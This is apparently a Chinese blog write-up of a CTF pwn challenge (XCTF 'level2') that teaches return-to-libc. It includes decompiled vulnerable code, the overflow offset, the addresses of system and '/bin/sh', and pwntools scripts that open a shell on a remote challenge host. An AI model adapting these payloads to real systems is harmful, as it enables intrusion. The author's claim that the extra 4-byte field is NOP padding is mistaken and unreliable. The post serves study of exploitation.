Retrun-into-libc,也写作Retrun2libc。libc是Linux下的ANSI C的函数库,包含了C语言最基本的库函数。

Retrun2libc的前提是NX开启,但ASLR关闭,NX开启后,我们无法执行shellcode。Retrun2libc提供了一种绕过思路:修改返回地址,让其指向内存中已有的某个函数。比如通过调整参数和栈的位置,让程序跳转到libc.so中的system函数或者exec类函数,然后运行/bin/sh。

上一篇的level0使用的解题方法就是Retrun2libc,题目给出的程序自带了一个callsystem函数,callsystem又调用了系统函数system并执行了/bin/sh。

今天的的题目level2也是用Retrun2libc的思路解题,不过比level0难度有提升。

checksec跑一下:

main伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
vulnerable_function();
system("echo 'Hello World!'");
return ;
}
vulnerable_function函数的伪代码:
ssize_t vulnerable_function()
{
char buf; // [esp+0h] [ebp-88h] system("echo Input:");
return read(, &buf, 0x100u);
}

和level0一样,read的读入长度0x100超过了buf自身的长度0x88,因此存在溢出。解题思路是用buf覆盖返回地址然后执行/bin/sh就可以了。

函数列表里能看到system函数有现成的,找到system的地址之后我们能不能自己传入/bin/sh呢?个人理解答案是不能!因为开启了NX,无法执行shellcode。所以第一步的checksec是很有必要的,它决定了后续的解题策略。看了下网上的write up,程序里面也有现成/bin/sh,直接拿来用就好了。

具体步骤如下

1. 计算覆盖返回地址需要的字节(这里用字节不知道是否准确。。。)数 = 0x88+0x4

2.找到system函数地址: 0x08048320

3.找到/bin/sh的地址:0x0804A024

4.写脚本(自己依葫芦画瓢写了一个)

r=remote("220.249.52.133",)
payload='a'*0x88 + 'a'* + p32(0x08048320)+p32(0x0804A024)
r.recvuntil("Input")
r.sendline(payload)
r.interactive()

执行,hmmm....没成功......可能哪里没算对(又想起了咱屡战屡败的...就没一次算对过>_<)

看了下网上大大们写的,改了一下:

r=remote("220.249.52.133",)
payload='a'*0x88 + 'a'* + p32(0x08048320)+p32()+p32(0x0804A024)
r.recvuntil("Input")
r.sendline(payload)
r.interactive()

执行脚本,拿到flag:

把两种payload打出来看了下,没有加p(32):

加了p(32): 

查了一圈看到的解释是NOP填充,NOP表示什么也不做,用来对齐代码提高程序的执行速度的,把一条不想让其执行的指令用NOP覆盖,这条指令就会失去原有的功能。个人理解这里加NOP是为了覆盖system和/bin/sh之间的指令,因为这两个地址并不是连在一起的,中间还有其他指令,所以用NOP覆盖中间那段,让system执行之后就执行/bin/sh。。。不晓得理解得对不对,先放这吧,以后接触到相关的知识再回来看~

如需转载,请注明出处,这是对他人劳动成果的尊重~

PWN头秃之旅 - 4.Retrun-into-libc(攻防世界-level1)的更多相关文章

  1. 【pwn】攻防世界 pwn新手区wp

    [pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...

  2. ESP8266开发之旅 基础篇① 走进ESP8266的世界

    授人以鱼不如授人以渔,目的不是为了教会你具体项目开发,而是学会学习的能力.希望大家分享给你周边需要的朋友或者同学,说不定大神成长之路有博哥的奠基石... QQ技术互动交流群:ESP8266&3 ...

  3. 攻防世界新手区pwn writeup

    CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050 下载文 ...

  4. pwn篇:攻防世界进阶welpwn,LibcSearcher使用

    攻防世界welpwn (搬运一篇自己在CSDN写的帖子) 链接:https://blog.csdn.net/weixin_44644249/article/details/113781356 这题主要 ...

  5. 攻防世界pwn高手区——pwn1

    攻防世界 -- pwn1 攻防世界的一道pwn题,也有一段时间没有做pwn了,找了一道栈题热身,发现还是有些生疏了. 题目流程 拖入IDA中,题目流程如图所示,当v0为1时,存在栈溢出漏洞.在gdb中 ...

  6. 攻防世界PWN简单题 level0

    攻防世界PWN简单题 level0 开始考验栈溢出的相关知识了 Checksec 一下文件 看看都开了什么保护 和 是多少位的程序 发现是64位的程序, 扔进IDA64.IDA YYDS.. 进入主函 ...

  7. 攻防世界PWN简单题 level2

    攻防世界PWN简单题 level2 此题考验的是对ROP链攻击的基础 万事开头PWN第一步checksec 一下 32位的小端程序,扔进IDA 进入函数,找出栈溢出漏洞. 又是这个位置的栈溢出,rea ...

  8. 头秃了,二十三张图带你从源码了解Spring Boot 的启动流程~

    持续原创输出,点击上方蓝字关注我 目录 前言 源码版本 从哪入手? 源码如何切分? 如何创建SpringApplication? 设置应用类型 设置初始化器(Initializer) 设置监听器(Li ...

  9. 头秃了,Spring Boot 自动配置了解一波~

    持续原创输出,点击上方蓝字关注我 目录 前言 源码版本 @SpringBootApplication干了什么? @EnableAutoConfiguration干了什么? 总结 前言 为什么Sprin ...

随机推荐

  1. 【JAVA8新的时间与日期 API】- 传统时间格式化的线程安全问题

    Java8之前的日期和时间API,存在一些问题,最重要的就是线程安全的问题.这些问题都在Java8中的日期和时间API中得到了解决,而且Java8中的日期和时间API更加强大. 传统时间格式化的线程安 ...

  2. Angular 从入坑到挖坑 - 模块简介

    一.Overview Angular 入坑记录的笔记第七篇,介绍 Angular 中的模块的相关概念,了解相关的使用场景,以及知晓如何通过特性模块来组织我们的 Angular 应用 对应官方文档地址: ...

  3. codeforce 796C - Bank Hacking(无根树+思维)

    题目 Although Inzane successfully found his beloved bone, Zane, his owner, has yet to return. To searc ...

  4. webpack4.X + react搭建

    环境准备工作:windows7.webStorm 2017.1.4.Nodejs 8.7.0.npm 5.4.2 PS:安装的时我们都带上版本,这样即便webpack版本发生变化,也不会出现版本问题. ...

  5. 机器学习之KNN算法(分类)

    KNN算法是解决分类问题的最简单的算法.同时也是最常用的算法.KNN算法也可以称作k近邻算法,是指K个最近的数据集,属于监督学习算法. 开发流程: 1.加载数据,加载成特征矩阵X与目标向量Y. 2.给 ...

  6. gRPC by .net core 3.x——概念、语法、编译

    什么是grpc? grpc来自大名鼎鼎的谷歌,孵化于CNCF基金会(docker.k8s同样出自这个基金会).它是一款高性能.开源.通用的rpc框架,你可以通过它来定义rpc的请求和响应.它基于htt ...

  7. HDU 2157 How many ways?? 题解

    题目 春天到了, HDU校园里开满了花, 姹紫嫣红, 非常美丽. 葱头是个爱花的人, 看着校花校草竞相开放, 漫步校园, 心情也变得舒畅. 为了多看看这迷人的校园, 葱头决定, 每次上课都走不同的路线 ...

  8. Dynamics CRM Data Encrytion error

    Dynamics CRM有两个Database,一个Content DB——xxxx_MSCRM,一个Config DB——MSCRM_CONFIG. 当Content DB从其他环境Restore回 ...

  9. 我终于弄懂了Python的装饰器(四)

    此系列文档: 1. 我终于弄懂了Python的装饰器(一) 2. 我终于弄懂了Python的装饰器(二) 3. 我终于弄懂了Python的装饰器(三) 4. 我终于弄懂了Python的装饰器(四) 四 ...

  10. 可见格式化模型BFC与应用

    什么是BFC BFC指的是块级格式化上下文,简单的来说,BFC就是创建一个div盒子或者给已存在的盒子激活BFC,盒子内部的元素布局不影响盒子外部的元素.也就是所谓的相互隔绝,互不影响. BFC是一个 ...